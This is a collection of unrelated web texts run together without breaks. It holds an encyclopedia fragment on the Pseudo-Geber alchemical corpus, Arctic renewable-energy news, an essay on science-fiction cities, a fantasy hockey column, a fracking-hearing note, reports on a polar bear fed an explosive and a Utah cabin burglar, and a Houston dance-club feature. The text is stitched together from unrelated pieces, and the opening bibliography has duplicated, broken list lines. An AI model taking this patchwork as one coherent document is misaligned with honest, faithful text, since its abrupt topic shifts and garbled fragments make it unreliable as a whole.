In 2005, the historian Ahmad Y. Al-Hassan pointed out that earlier Arabic texts prior to the 13th century, including the works of Jabir and Al-Razi, already contained detailed descriptions of substances such as nitric acid, aqua regia, vitriol, and various nitrates.[46] In 2009, Al-Hassan criticized Berthelot's original hypothesis and, on textual grounds, argued that the Pseudo-Geber Corpus was originally written in Arabic. Al-Hassan criticized Berthelot's lack of familiarity with the complete Arabic corpus and pointed to various Arabic Jabirian manuscripts which already contain much of the theories and practices that Berthelot previously attributed to the Latin corpus.[67] Regardless of the identity of pseudo-Geber, the contents of the Pseudo-Geber Corpus are mostly derived from earlier Arabic alchemy, including the work of Jabir as well as other Arabic authors such as Al-Razi.[67]
In popular culture [ edit ]
Bibliography [ edit ]
The Pseudo-Geber corpus [ edit ]
The Latin corpus consists of books with an author named "Geber" for which researchers have failed to find a text in Arabic. These books were heavily influenced by Arabic books written by Jabir, the "real" Geber, and by Al Razi and others. They are available in Latin only, date from about the year 1310, and their author is identified as "Geber" or pseudo-Geber:
Summa perfectionis magisterii ("The Height of the Perfection of Mastery"). [70]
("The Height of the Perfection of Mastery"). Liber fornacum ("Book of Furnaces"),
("Book of Furnaces"), De investigatione perfectionis ("On the Investigation of Perfection"), and
("On the Investigation of Perfection"), and De inventione veritatis ("On the Discovery of Truth").
("On the Discovery of Truth"). Testamentum gerberi
The Liber fornacum, De investigatione perfectionis and De inventione veritatis "are merely extracts from or summaries of the Summa Perfectionis Magisterii with later additions."[71] which may have been compiled by later writers.
English translations of Jabir and the Pseudo-Geber [ edit ]
End
Northern communities were already making strides toward a renewable energy future, but with $400 million committed in this year’s federal budget to establish an 11-year Arctic Energy Fund, energy security in the north has moved firmly into the spotlight.
“This level of support shows positive commitment from the Canadian government on ending fossil fuel dependency in Indigenous communities and transitioning these communities to clean energy systems,” said Dave Lovekin, a senior advisor at the Pembina Institute.
Burning diesel not only pollutes the atmosphere, but getting it into remote communities is often inefficient in and of itself: it’s delivered by truck, barge or, sometimes when the weather doesn’t cooperate, by plane.
There are more than 170 remote indigenous communities in Canada still relying almost completely upon diesel for their electricity needs.
But, for some, at least, that’s beginning to change. Take the community of Old Crow (Vuntut Gwitchin First Nation), above the Arctic circle in the Yukon.
Despite its northern latitude, and near total darkness between December and February, a 2014 Government of Yukon pilot study demonstrated that solar represents a major untapped renewable resource for the community.
Many homes in Old Crow, north of the Arctic Circle, still rely on diesel, but that's changing. Photo: Matt Jacques.
Now Old Crow has a number of small-scale solar panel installations, including an 11.8 kilowatt array at the Arctic Research Centre — but its sights are set higher. Plans for a 330 kilowatt solar plant are well underway. A 2016 feasibility study estimated that this large-scale installation could offset 17 per cent of the community's total diesel use, or up to 98,000 litres of fuel each year.
“Anything that affects our community, we want to have control over. That’s our goal with this project is to have ownership over the facility,” said William Josie, director of Natural Resources for the Vuntut Gwitchin First Nation. “We burn a lot of fuel up here per capita and we’re trying to reduce that.”
Josie said his community is excited to build further solar capacity.
“This has been in the works for a long time, and it’s just the right thing to do,” he said. “It’s the first solar project of this size in the Yukon with community ownership.”
The Vuntut Gwitchin First Nation has a self-governing final agreement in place with the Government of Canada, the Government of the Yukon and the Council of Yukon First Nations. So too does the Kluane (Burwash Landing/Destruction Bay) First Nation in the southwestern Yukon, which is taking another approach to delivering a similar level of renewable energy capacity.
A major $2.4 million wind power generation project is set to be installed in 2018. Three refurbished 95 kilowatt turbines will deliver just under 300 kilowatts of total power and are estimated to offset 21 per cent of the community’s total diesel use.
“One of the big things for the community is to be self-reliant and self-sufficient. Diesel is neither of those two,” explains Colin Asseltine, general manager of the Kluane Community Development Corporation. “We’re looking at what we can possibly do to reduce our carbon footprint and move off-grid.”
The wind project will expand on the earlier successes in the community. Since 1998, Burwash Landing has used biomass for district heating, and began selling solar power back into the grid not long after installing a 48 kilowatt array in 2003. Along the way, they have been collecting the data required to inform the next steps and increase the impact of the community’s investment in renewable energy.
A geothermal test well provides promise for increased food security.
“Connecting that to our greenhouse projects will really help with the possibility of growing year-round, and having a positive effect on food sustainability at the same time. Both renewable energy and food security go hand in hand, so we’re working on those together,” Asseltine said.
While these two communities have shown that renewable energy solutions are indeed feasible for remote northern environments, hurdles remain.
“Our biggest challenge right now is just to secure capital costs” Josie said. “We’re looking for $2 million to $2.5 million, depending on the final engineering and design.”
Lovekin, from the Pembina Institute, underscores this point, explaining that “the challenges on the technology side are nowhere near the challenges on the financial and community capacity side.”
Up until now, federal and provincial or territorial funds have focused on financing initial development costs.
“The first focus on funding capital expenditure is good, but governments simply putting in money to get systems built has been shown to not be a sustainable strategy to support these communities to fully develop their projects,” Lovekin said. “The more challenging part is the ongoing operations and maintenance and ability for communities to maintain the systems. Systems will break, nobody's there to fix them, and there's little funding for that.”
And once systems are operational, their long-term economic viability largely rests on the value of the Power Purchasing Agreement (PPA) that is offered by the local utility operators.
“In order for that whole model to be successful, you need a better and more fair PPA price than what has typically been offered in the north. Typically the PPA will simply offer the avoided cost of diesel fuel, so whatever it costs to get a litre of diesel up to the community via winter road or barge,” Lovekin adds.
Renewable energy systems typically have lower operating and management costs, and Pembina and others are working to ensure PPA prices reflect true cost savings.
“The federal carbon tax coming into play will also make diesel systems even more costly, so there’s opportunity to look at a PPA price for renewable systems that will not pay the carbon tax, as well as other externalized costs such as diesel fuel spills, financial bailouts when winter roads deteriorate and fuel needs to be flown up. So addressing all of that in what gets offered via a fair and equitable PPA would be ideal,” Lovekin said.
On the community capacity side of the equation, initiatives such as the 20/20 Catalysts Program and the Indigenous Clean Energy Network are providing essential training, and mentorship for indigenous communities making the transition to renewable energy.
Nonetheless, Lovekin feels there is a critical need for “more training, skill development and job establishment to support the community getting involved in their own transition. There need to be barriers removed to have more capacity built and leadership come from within the community.”
That’s where the new federal funding could be a game-changer.
“The real test will be in the types of policies and programs that are developed and how they are designed to support energy autonomy and create economic development within and for Indigenous communities,” Lovekin said.
Image: Solar panels in Old Crow, Yukon. Photo: Matt Jacques
SCIENCE FICTION often gives short shrift to cities. Nothing says trouble, after all, like a great city smashed to smithereens on screen by natural cataclysms, creepy aliens in oversized flying saucers, or even an ill-tempered Godzilla. When cities survive in SF cinema, they’re often places we’d rather not visit — nasty New York in Soylent Green (1973) and Escape from New York (1981), the antiseptic city of domes in Logan’s Run (1976), creepy underground Topeka in A Boy and His Dog (1975), or menacing Los Angeles in Blade Runner (1982).
Blade Runner’s dark and compelling city is a common touchstone for visualizing the urban future. Tell an acquaintance that you’re working on cities in science fiction, and the inevitable response is: “Oh, like Blade Runner.” The film has come to epitomize popular conceptions of science fiction cities because it combines zippy technology, looming megabuildings, and a noir atmosphere borrowed from both Metropolis (1927) and The Big Sleep (1946). Aircars dart among the towers and cop cars hover over the streets. Looking vaguely like 1940s radiophotograph consoles, the corporate ziggurats of the overworld dominate the cityscape. Flames inexplicably vent from the tops of towers. Searchlights zigzag the sky but fail to penetrate to the claustrophobic surface.
Take another look, however, and something else stands out. Blade Runner may be Los Angeles’s “official nightmare,” as Mike Davis has claimed, but this city of 2019 is heterogeneous, disordered, and active. Taffey’s Snake Pit, the bar visited by bounty hunter Rick Deckard, is dark and dangerous, but also intriguing. Women sport retro fashions, pipes are puffed and joints smoked, and masked dancers sway to techno-beat music. The bustling streets teem with vitality, the Asian faces suggesting its attractions for entrepreneurial immigrants. Norman Klein reports that many Los Angeles residents found the scene where Deckard grabs lunch at an outdoor market to be appealing rather than off-putting, and the entire pulsating mishmash of food carts, sushi bars, and discount retailers that line Blade Runner’s streets match one of the standard 21st-century prescriptions for vitalizing bland American cities.
Blade Runner is the launch point for examining science fiction that celebrates the social vitality and cultural dynamism of urban life with its mix of creativity and community. The film is a reminder that the essence of a city is not the physical container but the people it contains. Cities are where deals go down, ideas blossom, lovers arrange trysts, and conspirators hatch plots. Science fiction storytellers would be lost without the bustling marketplace and the crowded tavern — places where a variety of goods and services can be found and where anybody can put in an appearance, meaning trouble and plot complications are just around the corner.
Sociologist Peter Langer suggests that our understanding of cities oscillates between two metaphors: city as jungle and city as bazaar. In both conceptions, cities are places of thick social relations, diversity, and constant motion. The urban jungle is intertwined, crowded, and marked by deadly competition for resources, but the city as bazaar “imagines the city as a place of astonishing richness of activity and diversity […] a market, a fair, a place of almost infinite exploration and opportunity, a center of exchange.” Film scholar Vivian Sobchack offers a variation, proposing “Trashtown” as shorthand for districts or cities that are vibrant, cluttered, and at the edge of respectability.
Science fiction’s theorist of the urban bazaar is Samuel R. Delany. In Trouble on Triton: An Ambiguous Heterotopia (1976) he coined the term “unlicensed sector” for districts on the social edge. Here there’s vice and crime, to be sure, but also artistic expression that flourishes where rules don’t apply. The unlicensed sector in Tethys, the novel’s urban setting, has twisting back ways and dark alleys, but Delany presents it as inventive and alive. It is home to both political dissidents and artists like street theater troupes. It nourishes the creativity that can emerge from apparent chaos.
Sprawling and fantastic New Crobuzon in China Miéville’s Perdido Street Station (2000) goes the unlicensed sector of Tethys one better. It’s a teeming multispecies city whose chaotic energy generates creative art and radical politics. The book opens in the public city at the Aspic Bazaar, where “all distinctions broke down” in “a blaring mess of goods, grease and tallymen.” The city’s million-plus residents animate its streets, markets, and cafes. Action moves among streets and markets, private workspaces, and bars like the Moon’s Daughters pub, whose “clientele consisted of the more adventurous of the city’s bohemians: artists, thieves, rogue scientists, junkies and militia informants.” After drinks, some of the characters head to Bombadrezil’s Unique and Wonderful Fair whose food, balloons, carnival rides, and games of chance bring out a crowd in which “bankers and thieves mingled to ooh, scandalized and titillated.”
Miéville’s New Crobuzoners enact the role of public space as articulated by design critics and social commentators like Richard Sennett, who argue that community identities are best formed, promoted, and defended in shared spaces. This is not passive observation by one of Walter Benjamin’s flâneurs wandering the streets of Paris, but rather the creation of meaning by the active participation that is required for community life. Michel de Certeau, in The Practice of Everyday Life (1980), argues that abstract plans do not create cities; instead, myriad individuals generate the meaning of urban space by moving through it, using it, and filtering it through their own perceptions and imaginations in ways beyond control and discipline.
Readers quickly grasp that teeming New Crobuzon is a transfigured version of London — both the Victorian city and the late 20th-century city in which Miéville grew up; spiced, he says, with bits of Cairo, Egypt, and New Orleans. We are, very deliberately and explicitly, in a made-up world that serves as the very opposite of Tolkien’s Shire: urban, grubby, and complex rather than rural, cutesy, and socially one-dimensional. The map that accompanies the book resembles the top view of the cerebral cortex, perhaps to emphasize the role of the city as a place of constant information generation and exchange. The city fuses a rich amalgam of neighborhoods sorted by class, lifestyle, and species, but also under continual pressures of change. A typical apartment building houses a jumble of “petty thieves and steel workers and errand-girls and knife-grinders.”
New Crobuzon is chaotic and creative — the two central characters are an eccentric scientist and an eccentric artist. It is a realization of Delany’s unlicensed sector (even with an ever-present militia) and also a riff on John Stuart Mill’s venerable argument that interesting and vital cities are complex cities, places where social uncertainty and cultural creativity are inextricably intertwined. “It is hardly possible to overrate the value,” he wrote in 1848 in Principles of Political Economy,
of placing human beings in contact with persons dissimilar to themselves, and with modes of thought and action unlike those with which they are familiar. […] Such communication has always been, and is peculiarly in the present age, one of the primary sources of progress.
Nicola Griffith highlights community rather than creativity in Slow River (1995). She opens and closes the near-future novel on the banks of the River Humber in the gritty English industrial city of Hull, a superficially implausible choice for a resilient city. The river is “sleek and implacable,” framing a dark story about fragmented identity and childhood sexual abuse in a near-future city whose noir atmosphere might lead us to expect the worst. The protagonist Lore van de Oest is the daughter of a powerful industrial family who escapes a stage-managed kidnapping to awaken in a lonely alley naked, bleeding, and without her personal identity chip. She is functionally reborn, saved by an information thief and sex worker who helps her assume new identities for three years before confronting her family and unmasking its corruption. As she slowly heals, the river that has shaped the city helps her to reshape herself: “I would spend the rest of my life by the river,” she thinks at the end, “being visible.”
Lore moves among the different social strata of modern urban society — the rich, the working class, the underworld. Talking with friends, she explores the rain forest as a metaphor for the city. She doesn’t see the imaginary jungle of predatory chaos, but rather a layering of ecological niches from canopy to forest floor. Griffith reiterated the same idea in a commentary on her book, defining a city as “a place with a large enough population to have different layers. […] Every citizen will know a different layer, will bend before a different social wind.” Using a metaphor appropriate for Slow River, she described points of social contact as the “irrigation arteries” of a city and continued that “it is from such intersections of different nutrient streams that the energy and the art of a metropolis are born.”
Griffith’s city is robust as well as complex. The plot subjects the city to environmental stress, but not to the sort of environmental disaster that science fiction loves. Sabotage damages the delicate functioning of the sewage treatment plant where Lore works, threatening to flood the city with toxic effluent, but quick action by dedicated workers and emergency responders salvages the operation. As Griffith commented soon after publication,
much science fiction of the nineties destroys some aspect or other of the city. I did not want to do that. I wanted to keep as background the city as I have seen it, as a reader might recognize it. So the city in Slow River hovers continually on the brink of disaster … [but] I posit a technological advance that adds a bit of hope to the mess.
The result is a resilient city to frame the growing strength and resilience of the central character.
Resilience in an even more stressed urban community forms the backdrop for Nalo Hopkinson’s Brown Girl in the Ring (1998). The plot parallels Slow River in some ways, focusing on a young woman who must come to terms with her family heritage and her own identity: in this case a Caribbean Canadian who must accept spiritual gifts and powers that mark her as different from her peers. Hopkinson sketches a future Toronto whose inner city has been abandoned by government and corporate capital (modeled, she says, after Detroit). In the face of neglect and poverty, residents improvise. Some join drug-dealing gangs, but others recycle abandoned spaces, develop a barter economy, and look after each other. In one corner of “the Burn,” the
three pastors of the Korean, United, and Catholic churches that flanked the corners had joined forces, taken over most of the buildings […] They ministered to street people with a firm hand, defending their flock and their turf with baseball bats when necessary.
In the optimistic ending, the provincial premier promises no-interest loans for the Burn’s grassroots entrepreneurs. Perhaps micro-enterprise will thrive and grow, and the city regenerate.
Kim Stanley Robinson’s “Science in the Capital” trilogy (2004–2007) also depicts a much maligned city — Washington, DC — where social institutions fray but hold under the stress of climate disaster. As he did in earlier books like Pacific Edge (1990) and his Mars trilogy (1992–1996), Robinson explores the ways in which personal lives and civic lives interact. He takes the ordinary seriously, describing a city where community is created and maintained. The action builds slowly, especially in the first volume (tellingly titled Forty Signs of Rain), paying close attention to commuting, child care, National Science Foundation (NSF) grant applications, and other quotidian routines. The books intercut the crisis of global climate change with the struggles of managing a family including two high-achieving professionals and two kids. NSF scientists and a senatorial staffer make up the protagonists, trying to make scientific institutions and government work to cope with global climate change and its impacts. Dozens of pages detail committee meetings and bureaucratic strategizing that actually gets things done. (Robinson does for science administration what Gregory Benford did for science practice in Timescape [1980].)
Massive floods and bitter winters pound the city. Robinson describes the physical impacts on the city, but also highlights the continuing importance of social bonds. Volunteers turn out to fight flooding. A group of homeless men create a miniature community in the depths of Rock Creek Park. In the great freeze, civic institutions still work. First responders and hospitals are stressed, but they function. People turn out to help. Hundreds of volunteers coordinate an effort to monitor escaped zoo animals. Park rangers and work crews are upbeat as they clear downed trees and direct citizens pitch in until their workplaces reopen. By taking Washington, DC, seriously as a functional community rather than an aberration, Robinson challenges a knee-jerk reaction among many Americans and highlights his longstanding commitment to the importance of civic life. The books extend his repeated argument that utopia is a process rather than an end state — “utopia is when our lives matter,” as one of his earlier characters says.
By Robinson’s own description, the trilogy is intended as a comedy. Neither the protagonists nor the world are brought low by fate. Instead, wobbling institutions move back toward a center like a ship righting after nearly capsizing. As in the most traditional of comedies (and paralleling the end of Slow River), social order is upheld with the continued strength of one marriage and prospects for three more. Robinson recognizes that cities may sometimes be responsible for their own dissolution by fire, famine, flood, or abandonment, but that cities also have thickly woven social relationships and the social capital that is the source of resilience. Thick civic and social networks support short-term survival and long-term innovation. Rebecca Solnit, in A Paradise Built in Hell (2010), convincingly argues that it is elites who panic in civic emergencies and ordinary folks who cope and cooperate, a result that Robinson dramatizes.
So Washington, DC, survives, like Mexico City after the 1985 earthquake and New Orleans after Katrina. So will its other peers. Despite Kipling’s lines, London, New York, and Tokyo are unlikely to become one with Nineveh and Tyre. Modern cities benefit not only from internal strength but from the sometimes maligned global economy that allows them to draw resources from vast distances far more effectively than premodern places that succumbed to conquest or climate change. Robinson understands the power of social and psychological ties that bind residents to their cities, and he also understands the scale of third-millennium society.
Interesting cities are complex cities — places of possibility intertwined with the problems created by change. New Crobuzon is endlessly fascinating, and Samuel R. Delany’s Tethys remains intriguing. The distributed city of Battlestar Galactica and the teeming space station metropolis of Babylon 5 support richer stories than the thin communities of the Star Trek universe. As science fiction writer Kathleen Ann Goonan has written in Paradoxa,
Cities are, simply put, places where we come together to survive, where the symbiosis and mix of many humans becomes heady and elixirlike, leading to new intellectual, artistic, and emotional realms; leading also to the decay which occurs when old forms — physical and social — are no longer viable but still remain.
Out of those tensions of change and stability come the complex communities of creative and resilient cities that are more common in speculative fiction than the Blade Runner trope might lead us to believe.
Fantasy Hockey Weekly: Trade Bait or Cut Bait?
Weekly Review: Karlss-on Fire
Some of the best advice you can get when it comes to fantasy hockey is to look for opportunity. If your league is particularly deep and the cupboards have been picked dry, look for players in good situations. First line and powerplay players are always going to have plenty of opportunities to score. Take William Karlsson, for example. A relatively unknown player prior to this season, he has been playing on the Vegas Golden Knights top line with Jonathan Marchessault and Reilly Smith and seeing powerplay time. He has five goals and an assist in his past four games. He won’t be able to maintain numbers like this all year, but as long as he is on the first line with 30-goal scorer Marchessault, he should be able to produce consistently.
In the fantasy goaltending spotlight from last week, I pointed out Andersen’s slow start and propensity to pick up his game in November. Like clockwork, Andersen rattled off back-to-back shutouts last week, making 75 saves along the way. His Toronto Maple Leafs are also on a six game winning streak, with games against the Arizona Coyotes, Florida Panthers, and Carolina Hurricanes this week. If he can continue to play as well as he has and Toronto stays hot, he could singlehandedly win your week or jump you a few spots in your league standings.
Storm’s Brewing
After a painfully slow start for Sebastian Aho, many owners grew tired of waiting for him to wake up. His ownership dipped to just above 50% in both Yahoo and ESPN leagues, but has since risen back above 60%. He has 12 pts in his last 10 games now. Currently he is enjoying a four-game scoring streak where he has nine points in total. If you were fortunate enough to find him as a free agent, he should be a great value pick up as he looks to improve on a fantastic rookie season last year.
Similarly, Teuvo Teravainen erupted this week with five goals and five assists in four games. Both Aho and Teravainen have found success on Carolina’s first line with Jordan Staal as their centre and are playing on the PP1. Carolina was pegged as darkhorse this off-season, as they have a plethora of great, young talent to work with. It hadn’t come together as much as they had been hoping for, but at 5-2-3 in their last ten, it looks like they may be rounding into form.
Trade Bait or Cut Bait?
This week, instead of looking at potential free agents I have a list of players who I think would make good trade targets. If your league has a limit on transactions for the year, the more impactful way to make acquisitions is to do so through trades. So if you need to shake up your roster, inquire about some of these guys as potential trade targets. They wont all be cheap, but they should all be worth it.
There are a few Columbus Blue Jackets you could target for cheaper than they usually would be (Nick Foligno, Artemi Panarin, Cam Atkinson) but Wennberg’s value may be the lowest of them all. After scoring 59 points last year as Columbus’ number one centre, Wennberg was expected to take the next step this season. With the addition of Artemi Panarin (who has also been a rather disappointing) as his hired gun for this year, Wennberg had legitimate 65+ point upside. He only has eight assists and a single goal so far this year.
He has also missed the past two games with a mysterious injury with no timetable for return. It likely isn’t that serious, but the idea of owning an injured player who hasn’t lived up to any expectations makes Wennberg a very good trade target. At this point you may even be get him up for waiver pick up who is on a hot streak. Perhaps the time off will give him time to sort his game out. But once he starts scoring you have to imagine it will come in bunches.
Goaltenders are always hard to place value on because they can mean so much more in some leagues. Their limited availability also means that they could be difficult to acquire through trade. Basically: Don’t be surprised if you have to pry a goalie off of someone in a trade. So when looking at Gibson as a trade target, expect to give up some value. It should be well worth it though.
The Anaheim Ducks have been the victim of some serious injury problems this season. Hampus Lindoholm and Sami Vatanen each only recently started playing. Ryan Getzlaf, Ryan Kessler and Cam Fowler are all trying to work their way back from injury, and Patrick Eaves is attempting to return to playing after being diagnosed with Guillain-Barre syndrome. Needless to say, the Ducks are struggling to stay afloat at this point. Gibson has struggled so far, largely due to playing behind half an AHL team. At 7-6-1, his value is the lowest it has been in memory. The Ducks should be pushing to pick up points they have been missing out on later this season. I would expect a big second half surge from Anaheim once they get healthy, with Gibson in net. And that surge should be just in time for fantasy playoffs.
Max Domi has been a bit of a fantasy enigma for me. I carried him into last season as a keeper and was a bit disappointed. But he ended up with 38 points in 59 games. This puts him at the same point-per-game rate as his rookie season. Coupled with a ridiculous 1.9 shooting percentage, he is bound to start scoring sooner than later. Similar to Wennberg, he could be worth as little as a successful waiver claim to some impatient owners.
On the other hand, Granlund is still likely a rather coveted asset in fantasy leagues. He has a similarly poor, 3.1 shooting percentage and nine points in 14 games so far. He missed time earlier this season, and has been picking up his play as of late. But he may still be available for cheaper than he usually would be due to his slow start. A 69 point season last year was the benchmark for this campaign. He may not score at quite that pace, but Granlund is a 60 point player on a solid Minnesota Wild team.
I know, I know. Who is going to trade the reigning Norris winner and back-to-back 70 point scorer? Someone who only looks at his point totals, thats who. Still without a goal, through 18 games now, Burns just can’t seem to buy a goal. He has taken 75 shots so far, a pace to match his career high in shots in one season. Like most players on this list, he is due to start scoring in a matter of days, games or minutes. But most people in your league will know that. Still, if you could get him in exchange for a mid-grade goalie or swap disappointments, Burns should return to his usual, high scoring self eventually.
Susan Phillips Bio Recent Stories Susan Phillips tells stories about the consequences of political decisions on people's every day lives. She has worked as a reporter for WHYY since 2004. Susan's coverage of the 2008 Presidential election resulted in a story on the front page of the New York Times. In 2010 she traveled to Haiti to cover the earthquake. That same year she produced an award-winning series on Pennsylvania's natural gas rush called "The Shale Game." She received a 2013 Alfred I. duPont-Columbia University Journalism Award for her work covering natural gas drilling in Pennsylvania. She has also won several Edward R. Murrow awards for her work with StateImpact. In 2013/14 she spent a year at MIT as a Knight Science Journalism Fellow. She has also been a Metcalf Fellow, an MBL Logan Science Journalism Fellow and reported from Marrakech on the 2016 climate talks as an International Reporting Project Fellow. A graduate of Columbia School of Journalism, she earned her Bachelor's degree in International Relations from George Washington University.
Kris Connor / Getty Images
The hearing, led by Andy Harris, subcommittee chairman and Maryland Republican, questioned the scientific integrity of a draft report on fracking-caused groundwater contamination released by the Environmental Protection Agency Dec. 8. Since its release, the State of Wyoming and industry representatives have attacked the draft report. They don’t like its conclusions: that fracking in the area around Pavillion, Wyo. was likely the cause of ground water pollution in the area.
Testimony from the study’s opponents attacked those results.
“The EPA’s own data contained within [the report] doesn’t support the conclusions presented up front,” said Kathleen Sgamma, an industry representative from the Western Energy Alliance, sitting on the witness panel. “We are left wondering why the EPA would jump to conclusions, proceeding without State input or peer review.”
Amidst all the hoopla and press coverage of Gasland director Josh Fox getting ejected from a Congressional hearing this week, an actual hearing did take place. The House subcommittee on Energy and the Environment took testimony Wednesday on the EPA’s Pavilion, Wyo. report , which made a “likely” link between fracking and drinking water contamination. The controversial report is the first of its kind to make that assertion. Maryland Republican Andy Harris led the hearing, which became contentious. High Country News reported on the back-and-forth between the EPA officials and industry representatives.
Read more about Wednesday’s testimony from the High Country News here. The House subcommittee on Energy and Environment live streams its hearings, and posts the archives online. But several attempts to view them on this computer were unsuccessful.
A shocking video of the anguished animal, with blood pouring from its snout, was revealed today.
The female bear was being fed by the male cook, so regularly appeared at the site on remote Wrangel Island, where Vladimir Putin is establishing a military presence.
The bear had a cub, which she often brought with her to be fed, although not on this occasion and the young bear is now believed to be orphaned.
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A polar bear writhes in agony after apparently being fed explosives by a cook on a Russian military base
The endangered animal was seen with blood pouring from her nose after a 'thunder flash' went off inside her
It is not clear what happened to the mother, but experts said there was very little chance she would have survived.
'The animal was previously fed by people but this time it ate an explosive which was allegedly given to him by the local cook,' said the LifeNews report.
'The bear began to spin around and rubbed against the snow, his snout bleeding.'
In the video, the animal is clearly seen in agony from the explosion.
The cook had fed the bear previously but this time put an explosive with the food.
'The female bear thought that it was something tasty and ate it,' the report said.
Polar bears are protected in Russia and the cook faces a potential jail sentence for the cruel act
One report said the bear was shot to be put out of her agony, but this was not confirmed.
The video was made by workers of a company called RusAliance, which is building the new military base.
Polar bears are protected in Russia and the cook faces a potential jail sentence for the act.
Workers at the remote station have a dispensation which allows them to shoot polar bears that threaten them.
But reports stress that on this occasion the workers, including the cook, had coaxed the bear to come in order to be fed.
The female bear was being fed by the male cook, so regularly appeared at the site on remote Wrangel Island
A report by NTV television stated: 'Witnesses say that this polar bear often came to the settlement searching for food.
'The female bear looked into the rubbish bins and sometimes the people fed her.
'She got used to the people and even brought her little cub with her.
'The author of the video says that one day the cook hid a thunder flash inside something tasty and fed it to the bear just for fun.
'The injured animal was spinning around from pain for about half and hour.
'It is not clear what happened to the animal later. Zoologists are sure that the bear had very little chance to survive.
'They plan to appeal to police and ask to punish the cruel man.
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He's eluded authorities for more than five years, a mountain man who roams the wilderness of southern Utah, breaking into remote cabins in winter, living in luxury off hot food, alcohol and coffee before stealing provisions and vanishing into the woods.
Investigators have clawed for clues, scouring cabins for fingerprints that match no one and chasing reports of brief encounters only to come up short, always a step behind the mysterious recluse.
They've found abandoned camps, dozens of guns, high-end outdoor gear stolen from the homes and trash strewn around the forest floor.
But the man authorities say is armed and dangerous and responsible for more than two dozen burglaries has continued to outrun the law across a swath of mountains not far from Zion National Park. He's roamed across 1,000 square miles of rugged wilderness where snow can pile 10 feet deep in winter.
And while there have been no violent confrontations, detectives say he's a time bomb. Lately he has been leaving the cabins in disarray and riddled with bullets after defacing religious icons, and a recent note left behind in one cabin warned, "Get off my mountain."
"You wouldn't want to come across that guy," said Iron County Det. Jody Edwards, who has been working the case since 2007.
Theories about his identity have ranged from a 42-year-old man on the FBI's Most Wanted List sought for the 2004 killing of an armored-truck guard in Phoenix to a castaway from the nearby compounds of the Fundamentalist Church of Jesus Christ of Latter Day Saints, the polygamous sect run by jailed leader Warren Jeffs.
The FBI recently discounted the theory that the man was their fugitive after authorities got the first pictures of him from a motion-triggered surveillance camera outside a cabin showing a sandy-haired man in camouflage on snowshoes, a rifle slung over his shoulder. The photos were captured sometime in December.
"We believe that is not Jason Derek Brown," FBI special agent Manuel Johnson told The Associated Press.
However, Edwards isn't so quick to rule out the possibility, given the close resemblance to Brown, who was raised Mormon and is a highly educated, well-traveled avid outdoorsman.
So while detectives believe they are getting close, buoyed by the recent photos, the shadowy survivalist remains an enigma. No missing person report appears to fit, and fingerprints lifted from cabins have yielded no match.
Meanwhile, cabin owners are growing more frightened by the day and are left wondering who might be sleeping in their beds this winter.
"He's scaring the daylights out of cabin owners. Now everyone's packing guns," said Jud Hendrickson, a 62-year-old mortgage advisor from nearby St. George who keeps a trailer in the area.
In November 2010, Bruce Stucki, another cabin owner, said a burglar broke into his cabin through a narrow window, pried open a gun case with a crowbar and laid out the weapons but took none. At a nearby cabin, the man reportedly took only the grips from gun handles.
"He could stand in the trees and pop you off and no one would know who killed you," Stucki said.
Some cabins he has left tidy and clean, while others he has practically destroyed, even defecating in one in a pan on the floor.
"He should know he's being followed, but I don't think this guy is normal in any way," said Stucki, who, like many cabin owners, has a lot of his own theories.
"He's anti-religious, waiting for the mothership to come in," Stucki speculated.
Investigators say they have found several of the man's unattended summer camps, what they initially thought were left behind by "doomsday" believers preparing for some sort of apocalypse because of the remote locations and supplies like weapons, radios, batteries, dehydrated food and camping gear.
Edwards said two camps found a few years ago were stocked with 19 guns. One of the camps also had a copy of Jon Krakauer's "Into the Wild," a book about a young man who died after wandering into the Alaskan wilderness to live alone off the land.
The cabin burglar has managed to avoid being seen all but twice over the years, each time retreating into the forest.
The coffee and alcohol the survivalist favors plays into some cabin owners' assessment that he could be a castaway from the nearby twin towns of Hildale or Colorado City on the Utah-Arizona border. The so-called lost boys are said to be regularly booted from the polygamous sect there by elders looking to increase their marriage opportunities with young women.
Unlike members of The Church of Jesus Christ of Latter-day Saints, which discourages consumption of alcohol and coffee, many of the Mormon fundamentalists imbibe.
Detectives aren't sharing their latest assessments but "we've got a lot of leads" from the surveillance photos, Edwards said. "I would say we're very close to making a positive ID on him.We just got to catch this guy."
To cabin owners in southern Utah, he remains a spooky and menacing figure.
Arlo’s Ballroom
2119 Leeland
Dance clubs, in most people’s imaginations, aren’t often associated with the word “intimate.” These warehouse-size structures, often located in former warehouses, boast super-size sound systems, fog machines and confetti cannons, and NASA-worthy lighting rigs. A big part of the purpose of going to these places at all is losing yourself among the heaving throng of humanity on the dance floor.
But not so with Arlo’s Ballroom, a new lounge just east of 59 that hopes to bring the experience down to a more human scale.
“We liked this concept of a dance dive in an old grandma’s house, basically,” says Ryan Supak, who hopes to open Arlo’s within a few weeks along with his wife, local singer-songwriter Sara Van Buskirk.
Named after the couple’s three-year-old son, Arlo’s is located in a large old house on the corner of Leeland and Hutchins that has already had a colorful past. Among its many incarnations, it’s been a pair of old juke joints as well as a crash pad for day laborers and home to even sketchier activities. When recently showing Arlo’s to an old friend who became a math professor, Supak says, his guest recognized the building from his long-ago days in Houston’s rave scene.
“The first thing he said — he wasn’t joking — was, ‘I used to buy crack out of this building,’” laughs Supak. “It was a nice homecoming for him.”
Supak and Van Buskirk took over the keys to Arlo’s in late 2013, and have spent the past several months putting two or three tons of reclaimed wood to good use. The sound system has been hand-built by Supak, including the larger speakers he fashioned from equipment salvaged from the Astrodome. Other features include antique chandeliers, an oversize disco ball and a parquet dance floor that will hold fewer than 50 people. (The official occupancy will be just under 100.) The DJ booth looks like a cage from one of those old Mississippi River paddle wheeler casinos, with slots in the wire for dancers to pass through request slips.
“We’re aggressively in favor of requests,” says Supak, a freelance software developer and former KTRU DJ. “That’s one of my favorite things to do, take requests in real time for people and then riff on that with my own tracks, maybe more obscure tracks that I know of. That’s something that at a lot of places people are often too afraid to ask the DJ something, because they think they’re going to get harshly rebuffed or whatever they ask for in some way is not going to be good enough.”
One thing not to look for at Arlo’s is something common to every other dance club: theme nights. According to Supak, people think they want to dance to an artist such as Depeche Mode all night long, but would really rather hear their three or four favorite songs mixed in with a variety of music, even contemporary radio hits. Basically, he wants Arlo’s to be the eclectic place that fills a void he sensed when listening to friends — older than college age and even into their thirties — who would tell him, “We just want someplace where we can go dancing to good music and have fun.”
“I think they felt like their options were lacking,” Supak says. “Like, they didn’t always want to go to South Beach. They don’t always want to go to Barbarella.
“All I’m trying to do is make a place that I’d want to go to,” he adds.
